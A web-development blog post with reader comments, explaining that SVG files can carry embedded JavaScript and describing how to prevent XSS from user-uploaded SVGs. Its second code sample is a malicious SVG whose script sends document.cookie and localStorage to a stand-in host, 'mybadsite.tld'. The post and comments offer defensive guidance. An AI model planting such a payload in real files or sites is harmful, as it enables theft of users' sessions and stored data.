JavaScript in SVGs

By  on  

SVGs are such an amazing tool for creating custom fonts, animations, size-reduced graphics, and more. They're part HTML, part image, and all awesome. Many websites have moved toward SVG instead of JPG, GIF, and PNG due to the flexibility that SVG provides.

Whats one example of that flexibility? Did you know that you can embed JavaScript directly in your SVG files:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

That's a cool feature but also a security issue if embedded on a page as-is. For example, if a user uploads an SVG to your website with the following code:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

...they could steal cookies, storage, and other information via XSS. That's a problem. One way to prevent this is stripping the JavaScript out of the SVG, but you could also embed as an <img> or as a background-image via CSS:

<img src="/path/to/image.svg" />

When you use <img> or background-image, JavaScript is prevented from executing, making the SVG relatively safe! You should, however, still be cleansing your SVGs of bad stuff and serving them from a different hostname so as to not share cookies!

Recent Features

  • By
    How to Create a RetroPie on Raspberry Pi &#8211; Graphical Guide

    Today we get to play amazing games on our super powered game consoles, PCs, VR headsets, and even mobile devices.  While I enjoy playing new games these days, I do long for the retro gaming systems I had when I was a kid: the original Nintendo...

  • By
    Regular Expressions for the Rest of Us

    Sooner or later you'll run across a regular expression. With their cryptic syntax, confusing documentation and massive learning curve, most developers settle for copying and pasting them from StackOverflow and hoping they work. But what if you could decode regular expressions and harness their power? In...

Incredible Demos

  • By
    Creating Spacers with Flexbox

    I was one of the biggest fans of flexbox before it hit but, due to being shuffled around at Mozilla, I never had the chance to use it in any practice project; thus, flexbox still seems like a bit of a mystery to me.  This greatly...

  • By
    Implementing Basic and Fancy Show/Hide in MooTools 1.2

    One of the great parts of MooTools is that the library itself allows for maximum flexibility within its provided classes. You can see evidence of this in the "Class" class' implement method. Using the implement method, you can add your own methods to...

Discussion

  1. Kornel

    It’s not safe enough to embed in <img, because an SVG existing at a domain is still a persistent XSS. An attacker can always direct victims to the bare SVG URL.

    You’d at least have to serve SVGs from another throw-away domain. Not just a subdomain, because cookies easily leak across subdomains.

  2. That just seems like a bad idea to allow Javascript embedding in SVGs. I would think the security issues would outweigh any potential uses.

  3. We had this same problem! Even when we did tags, going directly to the image would still cause issues. My initial attempt was to use svgo to strip out scripts, but hackers were still finding ways to sneak around it. Ultimately, the best solution was also to add a content type, so it could never be run on the domain directly (but could still be included via ):

    Content-Disposition: attachment; filename=image.svg
    Content-Type: application/octet-stream
  4. One way to prevent this is stripping the JavaScript out of the SVG

    Be careful, because that’s way more complicated than it may seem.

    If you’re processing them in a JS context, you can use DOMPurify, but anything other than that (regex, strip_tags(), etc) is very likely to have a ton of bypasses. That’s why WordPress still doesn’t allow SVGs to be uploaded.

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!